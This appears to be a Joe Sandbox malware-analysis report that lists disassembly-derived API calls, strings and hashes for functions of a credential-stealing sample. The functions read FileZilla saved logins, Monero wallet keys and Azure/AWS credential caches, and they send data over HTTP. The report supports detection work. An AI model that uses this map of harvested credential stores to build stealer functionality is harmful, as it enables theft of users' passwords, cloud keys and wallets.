Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0R9{
API String ID: 0-1996814445
Opcode ID: 732ff30cc760373cca01c43c117a12191e6f306bd560122f3d84281183ce0dd7
Instruction ID: c5ce0fd12ada907f752df5ec696f51e2e8be02a3af1c5a4442a616a90a20c1b9
Opcode Fuzzy Hash: 732ff30cc760373cca01c43c117a12191e6f306bd560122f3d84281183ce0dd7
Instruction Fuzzy Hash: 3A5158F3E082044BE3146E2DEC4576AB7DADFD0720F1B863E9AD487784ED35680586C6

Function 00139750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00130250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 00138DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00138E0B

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Part of subcall function 001299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001299EC
Part of subcall function 001299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A11
Part of subcall function 001299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00129A31
Part of subcall function 001299C0: ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129A5A
Part of subcall function 001299C0: LocalFree.KERNEL32(0012148F), ref: 00129A90
Part of subcall function 001299C0: CloseHandle.KERNEL32(000000FF), ref: 00129A9A

Part of subcall function 00138E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00138E52

GetProcessHeap.KERNEL32(00000000,000F423F,00140DBA,00140DB7,00140DB6,00140DB3), ref: 00130362
RtlAllocateHeap.NTDLL(00000000), ref: 00130369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00130385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140DB2), ref: 00130393
StrStrA.SHLWAPI(00000000,<Port>), ref: 001303CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140DB2), ref: 001303DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00130419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140DB2), ref: 00130427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00130463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140DB2), ref: 00130475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140DB2), ref: 00130502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140DB2), ref: 0013051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140DB2), ref: 00130532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140DB2), ref: 0013054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00130562
lstrcat.KERNEL32(?,profile: null), ref: 00130571
lstrcat.KERNEL32(?,url: ), ref: 00130580
lstrcat.KERNEL32(?,00000000), ref: 00130593
lstrcat.KERNEL32(?,00141678), ref: 001305A2
lstrcat.KERNEL32(?,00000000), ref: 001305B5
lstrcat.KERNEL32(?,0014167C), ref: 001305C4
lstrcat.KERNEL32(?,login: ), ref: 001305D3
lstrcat.KERNEL32(?,00000000), ref: 001305E6
lstrcat.KERNEL32(?,00141688), ref: 001305F5
lstrcat.KERNEL32(?,password: ), ref: 00130604
lstrcat.KERNEL32(?,00000000), ref: 00130617
lstrcat.KERNEL32(?,00141698), ref: 00130626
lstrcat.KERNEL32(?,0014169C), ref: 00130635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140DB2), ref: 0013068E

Strings

password: , xrefs: 001305FB
<Pass encoding="base64">, xrefs: 0013045A
<Port>, xrefs: 001303C6
browser: FileZilla, xrefs: 00130559
<User>, xrefs: 00130410
login: , xrefs: 001305CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 001302A4
url: , xrefs: 00130577
<Host>, xrefs: 0013037C
profile: null, xrefs: 00130568

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: a6358ab1c9aae06d5ff3da466fd112d1dce68b9c546b76e58d5abdf80bf1ff1d
Instruction ID: f3cf749e1d42023d62365ded3be20c1742fdf4aad68565da6a49c194304666d7
Opcode Fuzzy Hash: a6358ab1c9aae06d5ff3da466fd112d1dce68b9c546b76e58d5abdf80bf1ff1d
Instruction Fuzzy Hash: 05D13072900208ABDB05EBF4DD96EEE777CAF28301F848458F142B7091DF75AA49DB61

Function 00125960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Part of subcall function 001247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124839
Part of subcall function 001247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00124849

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001259F8
StrCmpCA.SHLWAPI(?,00FFE7D8), ref: 00125A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00125B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00FFE808,00000000,?,00FFA930,00000000,?,00141A1C), ref: 00125E71
lstrlen.KERNEL32(00000000), ref: 00125E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00125E93
RtlAllocateHeap.NTDLL(00000000), ref: 00125E9A
lstrlen.KERNEL32(00000000), ref: 00125EAF
lstrlen.KERNEL32(00000000), ref: 00125ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00125EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00125F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00125F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00125F4C
InternetCloseHandle.WININET(00000000), ref: 00125FB0
InternetCloseHandle.WININET(00000000), ref: 00125FBD
HttpOpenRequestA.WININET(00000000,00FFE898,?,00FFE338,00000000,00000000,00400100,00000000), ref: 00125BF8

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

InternetCloseHandle.WININET(00000000), ref: 00125FC7

Strings

------, xrefs: 00125D4C
", xrefs: 00125E16
", xrefs: 00125CD5
------, xrefs: 00125C0B
------, xrefs: 00125A96

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 38bbb121b363e328d9f2d56b0697b4b62e36ac1fb8a63b3dfec11d8e3aa67f13
Instruction ID: ff9e53a1e0b2273480f5959400d743e29934e991a2686417d529c0652d034235
Opcode Fuzzy Hash: 38bbb121b363e328d9f2d56b0697b4b62e36ac1fb8a63b3dfec11d8e3aa67f13
Instruction Fuzzy Hash: 7E12DC72860128ABDB15EBA0DCA5FEEB378BF24701F904199F14673091EF706A49CF65

Function 0012CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 00138B60: GetSystemTime.KERNEL32(00140E1A,00FFA990,001405AE,?,?,001213F9,?,0000001A,00140E1A,00000000,?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 00138B86

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0012CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0012D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0012D0CE
lstrcat.KERNEL32(?,00000000), ref: 0012D208
lstrcat.KERNEL32(?,00141478), ref: 0012D217
lstrcat.KERNEL32(?,00000000), ref: 0012D22A
lstrcat.KERNEL32(?,0014147C), ref: 0012D239
lstrcat.KERNEL32(?,00000000), ref: 0012D24C
lstrcat.KERNEL32(?,00141480), ref: 0012D25B
lstrcat.KERNEL32(?,00000000), ref: 0012D26E
lstrcat.KERNEL32(?,00141484), ref: 0012D27D
lstrcat.KERNEL32(?,00000000), ref: 0012D290
lstrcat.KERNEL32(?,00141488), ref: 0012D29F
lstrcat.KERNEL32(?,00000000), ref: 0012D2B2
lstrcat.KERNEL32(?,0014148C), ref: 0012D2C1
lstrcat.KERNEL32(?,00000000), ref: 0012D2D4
lstrcat.KERNEL32(?,00141490), ref: 0012D2E3

Part of subcall function 0013A820: lstrlen.KERNEL32(00124F05,?,?,00124F05,00140DDE), ref: 0013A82B
Part of subcall function 0013A820: lstrcpy.KERNEL32(00140DDE,00000000), ref: 0013A885

lstrlen.KERNEL32(?), ref: 0012D32A
lstrlen.KERNEL32(?), ref: 0012D339

Part of subcall function 0013AA70: StrCmpCA.SHLWAPI(00FF9218,0012A7A7,?,0012A7A7,00FF9218), ref: 0013AA8F

DeleteFileA.KERNEL32(00000000), ref: 0012D3B4

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 3a1e2fdfd8a44aa6243702b3291a2cc6ebb527c6ac72d123fbf73d8b2b4c881c
Instruction ID: d01ebe2cdd5911b3690af7d493097d02abdf91301b1a676af3b697962b0fbd2d
Opcode Fuzzy Hash: 3a1e2fdfd8a44aa6243702b3291a2cc6ebb527c6ac72d123fbf73d8b2b4c881c
Instruction Fuzzy Hash: 77E10A72910118ABCB05EBA0DD96EEE777CBF24301F904158F146B70A1DF75AA09CFA2

Function 0012C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00FFD2A8,00000000,?,0014144C,00000000,?,?), ref: 0012CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0012CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0012CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0012CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0012CAD9
StrStrA.SHLWAPI(?,00FFD338,00140B52), ref: 0012CAF7
StrStrA.SHLWAPI(00000000,00FFD350), ref: 0012CB1E
StrStrA.SHLWAPI(?,00FFD740,00000000,?,00141458,00000000,?,00000000,00000000,?,00FF91E8,00000000,?,00141454,00000000,?), ref: 0012CCA2
StrStrA.SHLWAPI(00000000,00FFD960), ref: 0012CCB9

Part of subcall function 0012C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0012C871
Part of subcall function 0012C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0012C87C

StrStrA.SHLWAPI(?,00FFD960,00000000,?,0014145C,00000000,?,00000000,00FF9208), ref: 0012CD5A
StrStrA.SHLWAPI(00000000,00FF8F58), ref: 0012CD71

Part of subcall function 0012C820: lstrcat.KERNEL32(?,00140B46), ref: 0012C943
Part of subcall function 0012C820: lstrcat.KERNEL32(?,00140B47), ref: 0012C957
Part of subcall function 0012C820: lstrcat.KERNEL32(?,00140B4E), ref: 0012C978

lstrlen.KERNEL32(00000000), ref: 0012CE44
CloseHandle.KERNEL32(00000000), ref: 0012CE9C

Strings

, xrefs: 0012C9C6

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 1cb01d1f31436fdc5f8660c93b3ffe31201d5e611589b9b4e18b87e53d8d5a3b
Instruction ID: 46c1ef07c9bcc93dd0198b71dbffb313fafe721a4e4bb994a3f27972a63a8ce8
Opcode Fuzzy Hash: 1cb01d1f31436fdc5f8660c93b3ffe31201d5e611589b9b4e18b87e53d8d5a3b
Instruction Fuzzy Hash: A1E1F071D10108ABDB15EBA4DC96FEEB778AF24301F804199F14677191EF706A4ACFA2

Function 00138320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

RegOpenKeyExA.ADVAPI32(00000000,00FFB048,00000000,00020019,00000000,001405B6), ref: 001383A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00138426
wsprintfA.USER32 ref: 00138459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0013847B
RegCloseKey.ADVAPI32(00000000), ref: 0013848C
RegCloseKey.ADVAPI32(00000000), ref: 00138499

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Strings

%s\%s, xrefs: 0013844D
- , xrefs: 001385A3
?, xrefs: 0013837A

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: d0e25310d622febf9e9cbe222535976cb2adaa80838186722dac38c04b169352
Instruction ID: eee742040809c0b4afcfe97b96a7b9aa48e541a1c39b4360b6a9458f7f92d774
Opcode Fuzzy Hash: d0e25310d622febf9e9cbe222535976cb2adaa80838186722dac38c04b169352
Instruction Fuzzy Hash: DB810CB1910218ABEB25DB50CC95FEA77B8FF58700F4082D9F149A6140DF716B85CF95

Function 00134D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00138DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00138E0B

lstrcat.KERNEL32(?,00000000), ref: 00134DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00134DCD

Part of subcall function 00134910: wsprintfA.USER32 ref: 0013492C
Part of subcall function 00134910: FindFirstFileA.KERNEL32(?,?), ref: 00134943

lstrcat.KERNEL32(?,00000000), ref: 00134E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00134E59

Part of subcall function 00134910: StrCmpCA.SHLWAPI(?,00140FDC), ref: 00134971
Part of subcall function 00134910: StrCmpCA.SHLWAPI(?,00140FE0), ref: 00134987
Part of subcall function 00134910: FindNextFileA.KERNEL32(000000FF,?), ref: 00134B7D
Part of subcall function 00134910: FindClose.KERNEL32(000000FF), ref: 00134B92

lstrcat.KERNEL32(?,00000000), ref: 00134EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00134EE5

Part of subcall function 00134910: wsprintfA.USER32 ref: 001349B0
Part of subcall function 00134910: StrCmpCA.SHLWAPI(?,001408D2), ref: 001349C5
Part of subcall function 00134910: wsprintfA.USER32 ref: 001349E2
Part of subcall function 00134910: PathMatchSpecA.SHLWAPI(?,?), ref: 00134A1E
Part of subcall function 00134910: lstrcat.KERNEL32(?,00FFE868), ref: 00134A4A
Part of subcall function 00134910: lstrcat.KERNEL32(?,00140FF8), ref: 00134A5C
Part of subcall function 00134910: lstrcat.KERNEL32(?,?), ref: 00134A70
Part of subcall function 00134910: lstrcat.KERNEL32(?,00140FFC), ref: 00134A82
Part of subcall function 00134910: lstrcat.KERNEL32(?,?), ref: 00134A96
Part of subcall function 00134910: CopyFileA.KERNEL32(?,?,00000001), ref: 00134AAC
Part of subcall function 00134910: DeleteFileA.KERNEL32(?), ref: 00134B31

Strings

\.IdentityService\, xrefs: 00134ED9
*.*, xrefs: 00134DD8
\.aws\, xrefs: 00134E4D
Azure\.IdentityService, xrefs: 00134EEB
*.*, xrefs: 00134E64
Azure\.aws, xrefs: 00134E5F
msal.cache, xrefs: 00134EF0
Azure\.azure, xrefs: 00134DD3
\.azure\, xrefs: 00134DC1

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
